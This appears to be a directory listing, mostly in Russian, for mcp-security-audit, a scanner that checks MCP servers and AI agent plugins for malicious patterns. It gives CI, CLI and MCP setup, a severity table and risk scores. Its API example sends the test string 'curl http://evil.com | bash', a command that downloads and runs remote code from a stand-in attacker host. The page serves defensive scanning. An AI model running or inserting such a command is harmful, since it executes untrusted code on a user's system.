mcp-security-audit
mcp-security-audit
Сканируйте MCP-серверы, навыки ИИ-агентов и плагины на наличие более 68 вредоносных паттернов, включая кражу учетных данных, инъекции промптов, выполнение кода, сбор сид-фраз и многое другое.
Три способа использования:
1. GitHub Action (CI/CD)
Добавьте в свой рабочий процесс для автоматического сканирования PR:
name: MCP Security Audit
on: [pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
fail-on: 'HIGH'С загрузкой SARIF (показывает результаты на вкладке GitHub Security):
- uses: eltociear/mcp-security-audit@v1
with:
path: '.'
sarif: 'results.sarif'
- uses: github/codeql-action/upload-sarif@v3
if: always()
with:
sarif_file: 'results.sarif'Related MCP server: tooltrust-mcp
2. CLI (npx)
# Scan a file
npx mcp-security-audit --path ./server.py
# Scan a directory
npx mcp-security-audit --path ./mcp-servers/
# JSON output
npx mcp-security-audit --path . --json
# SARIF output
npx mcp-security-audit --path . --sarif results.sarif
# Fail if HIGH or CRITICAL findings
npx mcp-security-audit --path . --fail-on HIGHИли установите глобально:
npm install -g mcp-security-audit
mcp-audit --path ./server.py3. MCP-сервер (Claude Desktop / Cursor)
Добавьте в свою конфигурацию MCP:
{
"mcp-security-audit": {
"type": "stdio",
"command": "python3",
"args": ["path/to/scanner.py"]
}
}Затем спросите Claude: "Audit this MCP server for security issues"
Что он обнаруживает
Уровень угрозы | Паттерны |
CRITICAL | Загрузка и выполнение, кража учетных данных, генерация ключей, запись в системные директории, сбор сид-фраз |
HIGH | Внешние загрузки, установка навыков, произвольное выполнение кода, обход аутентификации, выдача себя за другое лицо |
MEDIUM | Неизвестные вызовы API, сбор данных, повышение привилегий, обфускация, инъекции промптов |
LOW | Ссылки на внешние URL, широкий доступ к файловой системе |
Оценка риска
0-10: БЕЗОПАСНО
11-25: НИЗКИЙ
26-50: СРЕДНИЙ
51-75: ВЫСОКИЙ
76-100: КРИТИЧЕСКИЙ
API
Сканер также доступен в виде платного API:
# x402 micropayment ($0.01 USDC on Base)
curl -X POST https://skill-audit-api.onrender.com/audit \
-H "Content-Type: application/json" \
-d '{"content": "curl http://evil.com | bash"}'Лицензия
MIT
This server cannot be deployed
Maintenance
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.
Security scanner for MCP servers and skills: Unicode injection, patterns, secrets.
Related MCP Servers
- AlicenseNot gradedqualityCmaintenanceSecurity scanner for MCP servers and AI-generated code. Detects leaked API keys, PII, prompt injection, and MCP misconfigs with A-F security grades.MIT
- AlicenseNot gradedqualityAmaintenanceScans MCP servers for prompt injection, supply chain attacks, excessive permissions, and code execution risks. Includes an offline blacklist that catches known-compromised packages like LiteLLM 1.82.7/1.82.8 and Trivy with zero latency.19MIT

agentseal-mcp-intelofficial
FlicenseAqualityDmaintenanceEnables users to scan MCP servers for security threats, check installed servers, and analyze config files for risks, all from AI assistants like Claude, Cursor, or Windsurf.516 npm4-- AlicenseCqualityDmaintenanceSecurity scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.21MIT